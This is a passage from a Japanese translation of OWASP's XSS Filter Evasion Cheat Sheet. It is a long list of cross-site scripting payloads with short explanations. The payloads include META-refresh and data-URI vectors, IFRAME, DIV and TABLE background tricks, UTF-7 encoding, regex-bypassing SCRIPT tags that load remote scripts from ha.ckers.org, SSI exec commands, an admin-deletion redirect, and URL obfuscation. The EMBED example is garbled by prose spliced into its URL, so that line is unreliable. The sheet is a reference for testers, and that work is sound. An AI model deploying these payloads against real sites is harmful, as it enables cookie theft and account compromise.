XSS ベクトルと同じサーバーに存在しなければならない .htc ファイルを使用するため、上記の 2 つのクロスサイトスクリプティングのベクトルとは少し違います。例のファイルは、JavaScript を取り込んで、STYLE 属性の一部として実行することによって動作します。
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII エンコード
US-ASCII エンコードです (Kurt Huwig によって発見されました)。これは、8 ビットではなく 7 ビットを使用した、誤った形式の ASCII エンコードを使用します。この XSS は、多くのコンテンツフィルターをバイパスできますが、ホストが US-ASCII エンコードで送信する場合、またはユーザーが自分でエンコードを設定した場合にのみ動作します。サーバー側のフィルター回避よりも、Web アプリケーションファイアウォールのクロスサイトスクリプティング回避に対して、より有効です。US-ASCII エンコードで送信するサーバーとして知られているのは、Apache Tomcat のみです。
¼script¾alert(¢XSS¢)¼/script¾
META
メタ更新について興味深いのは、ヘッダーでリファラーを送信しないことです。そのため、参照 URL を除去しなければならない攻撃のタイプに使用できます。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
データを使用する META
ディレクティブ URL スキーム。SCRIPT という単語や JavaScript ディレクティブを持つものを明示的に何も保有せずに、base64 エンコードを活用するため、これは優れています。詳しくは RFC 2397 を参照してください。あるいは、ここを確認してエンコードを行ってください。単に生 HTML または JavaScript のエンコードなら、以下の XSS 計算機能も使用できます。これは、Base64 エンコードメソッドを使用しています。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
追加 URL パラメーターを持つ META
ターゲットの Web サイトが、URL の先頭に "http://" が含まれているかどうかを確認しようとしている場合、以下の手法で回避できます (Moritz Naumann による投稿)。
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
IFRAME
iframes が許可されている場合、多くのその他の XSS の問題があります。
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFRAME イベントベース
IFrames とその他の大半の要素は、次のようなイベントベースの破壊を使用できます... (投稿者: David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
FRAME
Frame には、iframe と同じ種類の XSS の問題があります。
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
上記のように、TD は、JavaScript XSS ベクトルを含む BACKGROUND に対して脆弱です。
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
unicode 化した XSS エクスプロイトを持つ DIV background-image
これは、url パラメーターを難読化するために若干修正されました。元々の脆弱性は、Hotmail における脆弱性として、Renaud Lifchitz によって発見されました。
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV background-image と追加文字
Rnaske は、セキュアサイトモードの IE および Netscape 8.1 で、開き括弧の後、JavaScript ディレクティブの前に許可されている、エラーのある文字を検出するために、迅速な XSS ファザーを作成しました。これらは 10 進数ですが、16 進数を含めることも、埋め込みを追加することもできます。(次の文字が使用可能: 1-32、34、39、160、8192-8.13、12288、65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV 式
これのバリアントは、コロンと "expression" の間で改行を使用する、実際のクロスサイトスクリプティングに対して有効です。
<DIV STYLE="width: expression(alert('XSS'));">
Downlevel-Hidden ブロック
IE5.0 以降、および IE レンダリングエンジンモードの Netscape 8.1 でのみ動作します。一部の Web サイトでは、コメントブロック内の記述は安全と見なされ、除去する必要はないとしています。これによって、クロスサイトスクリプティングのベクトルが可能になります。あるいは、システムが周囲にコメントタグを追加して、無害にするためにレンダリングしようとする場合もあります。以下のように、これはうまくいきません。
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
BASE タグ
IE およびセーフモードの Netscape 8.1 で動作します。次の文字をコメント化するには、// が必要です。JavaScript エラーは発生せず、XSS タグはレンダリングされます。また、これは、Webサイトが、絶対パスではなく動的に配置されたイメージ (images/image.jpg など) を使用しているかどうかに依存しています。パスの先頭に、"/images/image.jpg" のようにスラッシュが含まれている場合、このベクトルからスラッシュを 1 つ除去できます (コメントの先頭としてスラッシュが 2 つ存在するだけで動作します)。
<BASE HREF="javascript:alert('XSS');//">
OBJECT タグ
オブジェクトが許可されている場合、ウィルスペイロードを挿入して、ユーザーに感染させることもできます。APPLET タグと同様です。リンクされたファイルは、実際には HTML ファイルで、XSS を含むことができます。
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
XSS を含む Flash 動画を埋め込むことができる EMBED タグの使用
ここをクリックしてデモを開始します。allowScriptAccess="never" 属性および allownetworking="internal" 属性を追加すると、このリスクが軽減されます (この情報について Jonathan Vanasco に謝意を表します)。
EMBED SRC="http://ha.ckers。XSS を含む Flash 動画を埋め込むことができる EMBED タグの使用。ここをクリックしてデモを開始します。allowScriptAccess="never" 属性および allownetworking="internal" 属性を追加すると、このリスクが軽減されます (この情報について Jonathan Vanasco に謝意を表します)。org/xss.swf" AllowScriptAccess="always"></EMBED>
XSS ベクトルを含むことができる SVG の埋め込み
この例は、Firefox でしか動作しません。しかし、ユーザーが Flash をオンにしたり、インストールしたりする必要がないため、Firefox では上記のベクトルよりも優れています。本件について、nEUrOO に謝意を表します。
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
Flash 内で ActionScript を使用して XSS ベクトルを難読化する
a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);
CDATA 難読化による XML データアイランド
この XSS 攻撃は、IE および IE レンダリングエンジンモードの Netscape 8.1 でのみ動作します。このベクトルは、Yahoo の監査時に、セキュリティコンサルタントによって発見されました。
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
ローカルにホストされた XML に XML データアイランドを使用して生成された JavaScript を埋め込む
これは、上記と同じですが、ローカルにホストされた (同じサーバー上に存在しなければならない) XML ファイルを参照し、そのファイルにクロスサイトスクリプティングベクトルが含まれています。結果はこのようになります。
<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
XML での HTML+TIME
これは、Grey Magic が Hotmail と Yahoo! をハッキングした手法です。 これは、Internet Explorer と IE レンダリングエンジンモードの Netscape 8.1 でのみ動作します。また、動作するには HTML および BODY タグ間に配置しなければなりません。
<HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML>
数文字しか挿入できず、".js" に対してフィルターする場合
JavaScript ファイルを XSS ベクトルとしてのイメージに名前変更できます。
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
SSI (サーバーサイドインクルード)
この XSS ベクトルを使用するためには、SSI がサーバーにインストールされていなければなりません。言うまでもないことですが、サーバーでコマンドを実行できる場合、問題はより深刻になります。
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
PHP
この XSS ベクトルを使用するためには、PHP がサーバーにインストールされていなければなりません。同様に、このようにスクリプトをリモートで実行できる場合、問題はより重大になります。
<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG 埋め込みコマンド
これは、挿入された Web ページ (Web ボードなど) がパスワード保護の背後にあり、そのパスワード保護が同じドメイン上の別のコマンドで動作する場合に動作します。これを使用して、ユーザーの削除、追加 (ページにアクセスしたユーザーが管理者の場合)、資格情報の他の場所への送信などを行うことができます。使用される頻度は多くありませんが、有効な XSS ベクトルです。
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG 埋め込みコマンド パート 2
ユーザー自身のドメイン上でホストされていないことを除けば、疑わしく見える部分がないため、より怖いベクトルです。このベクトルは、302 または 304 (他も動作します) を使用して、イメージをコマンドにリダイレクトして戻します。そのため実際には通常の <IMG SRC=""> が、攻撃ベクトルになり、イメージリンクを表示しているユーザーとして、コマンドを実行します。このベクトルを達成するために .htaccess (Apache 下) 行があります (この部分について Timo に謝意を表します)。
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie の操作
比較的目立ちませんが、<META が許可され、それを使用して Cookie を上書きできる例がいくつかあります。データベースからユーザー名を取得するのではなく、ページにアクセスするユーザーにのみ表示される Cookie 内にユーザー名が格納されているサイトの例があります。これらの 2 つのシナリオを組み合わせて、被害者の Cookie を変更し、被害者に JavaScript として表示することができます (これを使用して、ユーザーをログアウトさせたり、ユーザーの状態を変更したり、ログインさせたりすることもできます)。
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 エンコード
XSS が存在するページがページ charset ヘッダーを指定していない場合、または UTF-7 エンコードに設定されているブラウザーが以下によって攻略されている場合 (この部分について Roman Ivanov に謝意を表します)。例は、ここをクリックしてください (ユーザーのブラウザーが auto-detect に設定され、IE および IE レンダリングエンジンモードの Netscape 8.1 で、ページにオーバーライドする content-types がない場合は、charset ステートメントは必要ありません)。エンコードタイプを変更しない限り、最新のブラウザーでは動作しません。サポートされないのはエンコードタイプの変更が必要なためです。Watchfire が Google のカスタム 404 スクリプトでこのセキュリティホールを見つけました。
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
HTML 引用符のカプセル化を使用した XSS
これは、IE でテスト済みで、利用価値は多彩です。regex フィルター "/<script[^>]+src/i" を経由して、"<SCRIPT>" を許可するが "<SCRIPT SRC..." を許可しないサイトで XSS を実行します。
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
regex フィルター "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (この正規表現は実際に見たことがあるため、重要です) を経由して、"<SCRIPT>" を許可するが "<SCRIPT SRC..." を許可しないサイトで XSS を実行します。
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
同じフィルターを回避する別の XSS。"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
同じフィルターを回避する別の XSS。"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"。軽減策を議論するつもりはないと言いましたが、<SCRIPT> タグを許可したいが、リモートスクリプトを許可したくない場合に、この XSS の例で動作するのは、ステートマシンのみです (もちろん<SCRIPT> タグを許可する場合、これを回避する方法は他にもあります)。
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
回避するべき最後の XSS 攻撃。"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (これも Firefox では動作しません):
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
この XSS の例は、regex が合致する引用符のペアを取得せず、不適切にパラメーター文字列を終了する引用符を検出するという事実に基づいています。
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
この XSS は、依然として厄介です。すべてのアクティブなコンテンツをブロックしない限り、停止するのはほぼ困難なためです。
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
URL 文字列回避
"http://www.google.com/" はプログラム的に許可されないというのが前提です。
IP によるホスト名の作成
<A HREF="http://66.102.7.147/">XSS</A>
URL エンコード
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword エンコード
(注: 他にも Dword エンコードのバリエーションがあります。詳しくは、以下の IP 難読化計算機能を参照してください)。
<A HREF="http://1113982867/">XSS</A>
Hex エンコード
許可される各数字の合計サイズは、2 番目の数字で確認できるとおり合計 240 文字あたりで、16 進数は 0 から F までの値であるため、3 番目の 16 進 quotet の先頭のゼロは必要ありません。
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal エンコード
埋め込みが許可されます。ただし、クラス A、クラス B のように、クラスごとに合計 4 文字を超える文字を維持する必要があります。
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合エンコード
基本エンコードを混合し、合致させ、タブと改行の一部を挿入します。ブラウザーがなぜこれを許可するかは不明です。タブと改行は、引用符でカプセル化されている場合にのみ機能します。
<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>
プロトコル解決のバイパス
(// を http:// に変換します。数バイト多く節約できます)。スペースが問題になる場合にも役立ちます (2 文字少ないことが役立ちます)。また "(ht|f)tp(s)?://" など、正規表現を容易にバイパスできます。(この部分について、Ozh に謝意を表します)。"//" を "\\" に変更することもできます。スラッシュは適切な場所に配置しなければなりません。そうでないと、相対パス URL として解釈されます。
<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" パート 1
Firefox は、Google's "feeling lucky" 機能を使用して、ユーザーを入力したキーワードにリダイレクトします。そのため、ここで示すように攻略可能なページがランダムキーワードで最初のページであった場合、あらゆる Firefox ユーザーに対してこの機能を使用することができます。これは Firefox の "keyword:" プロトコルを使用します。例えば、次の "keyword:XSS+RSnake" のように使用することで、いくつかのキーワードを連結できます。これは、Firefox のバージョン 2.0 では動作しません。
<A HREF="//google">XSS</A>
Google "feeling lucky" パート 2
これは極めて小さなトリックを使用します。"feeling lucky" 機能を実装する場合に限られるので、Firefox でのみ動作すると思われます。次とは異なり、Opera では動作しません。Opera は、古い HTTP 基本認証フィッシング攻撃と認識するためです (そうではありませんが)。これは単なる誤った形式の URL です。ダイアログで [OK] をクリックすると動作しますが、エラーのあるダイアログボックスであるため、Opera ではサポートされておらず、Firefox のバージョン 2.0 でもサポートされなていないと述べておきます。
<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" パート 3
これは誤った形式の URL を使用します。"feeling lucky" 機能を実装する場合に限られるので、Firefox と Opera でのみ動作すると思われます。前述のすべての場合と同様に、該当キーワード (この場合は、「google」) の Google 検索で検索結果のトップに表示されなければなりません。
<A HREF="http://google:ha.ckers.org">XSS</A>
cnames の除去
上記の URL と組み合わせると、"www." を除去することで、4 バイト節約でき、これが適切にセットアップされているサーバーでは合計 9 バイト節約できます。
<A HREF="http://google.com/">XSS</A>
絶対 DNS の追加ドット:
<A HREF="http://www.google.com./">XSS</A>
JavaScript リンクロケーション:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
攻撃ベクトルとしてのコンテンツ置換
"http://www.google.com/" をプログラム的に置き換えることはできないというのが前提です。変換フィルター自体 (ここに例を挙げます) を使用して攻撃ベクトルを作成することによって、分離された実際の XSS フィルターに対して同様の攻撃ベクトルを使用しました(IE: "java script:" は、IE、セキュアサイトモードの Netscape 8.1 以降、Opera では "java script:" に変換され、レンダリングされました)。
pre><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>文字エスケープシーケンス
HTML と JavaScript における文字 "<" のすべての可能な組み合わせです。これらの多くは、標準設定のままでは、レンダリングすることはできません。多くは前述のような特定の条件下でレンダリング可能になります。
< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
文字エンコードおよび IP 難読化計算機能
次のリンクには、XSS で役立つ基本的な変換機能のための計算機能が含まれています。
http://ha.ckers.org/xsscalc.html
Authors and Primary Editors
Robert "RSnake" Hansen
Other Cheatsheets
Developer Cheat Sheets (Builder)
- Authentication Cheat Sheet (Spanish)
- Choosing and Using Security Questions Cheat Sheet
- Clickjacking Defense Cheat Sheet
- C-Based Toolchain Hardening Cheat Sheet
- Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
- Cryptographic Storage Cheat Sheet
- DOM based XSS Prevention Cheat Sheet
- Forgot Password Cheat Sheet
- HTML5 Security Cheat Sheet
- Input Validation Cheat Sheet
- JAAS Cheat Sheet
- Logging Cheat Sheet
- .NET Security Cheat Sheet
- OWASP Top Ten Cheat Sheet
- Password Storage Cheat Sheet
- Pinning Cheat Sheet
- Query Parameterization Cheat Sheet
- Ruby on Rails Cheatsheet
- REST Security Cheat Sheet
- Session Management Cheat Sheet
- SAML Security Cheat Sheet
- SQL Injection Prevention Cheat Sheet
- Transaction Authorization Cheat Sheet
- Transport Layer Protection Cheat Sheet
- Unvalidated Redirects and Forwards Cheat Sheet
- User Privacy Protection Cheat Sheet
- Web Service Security Cheat Sheet
- XSS (Cross Site Scripting) Prevention Cheat Sheet
Assessment Cheat Sheets (Breaker)
- Attack Surface Analysis Cheat Sheet
- XSS Filter Evasion Cheat Sheet
- REST Assessment Cheat Sheet
- Web Application Security Testing Cheat Sheet
Mobile Cheat Sheets
OpSec Cheat Sheets (Defender)
Draft Cheat Sheets
- Access Control Cheat Sheet
- Application Security Architecture Cheat Sheet
- Business Logic Security Cheat Sheet
- PHP Security Cheat Sheet
- Secure Coding Cheat Sheet
- Secure SDLC Cheat Sheet
- Threat Modeling Cheat Sheet
- Grails Secure Code Review Cheat Sheet
- IOS Application Security Testing Cheat Sheet
- Key Management Cheat Sheet
- Insecure Direct Object Reference Prevention Cheat Sheet
- Content Security Policy Cheat Sheet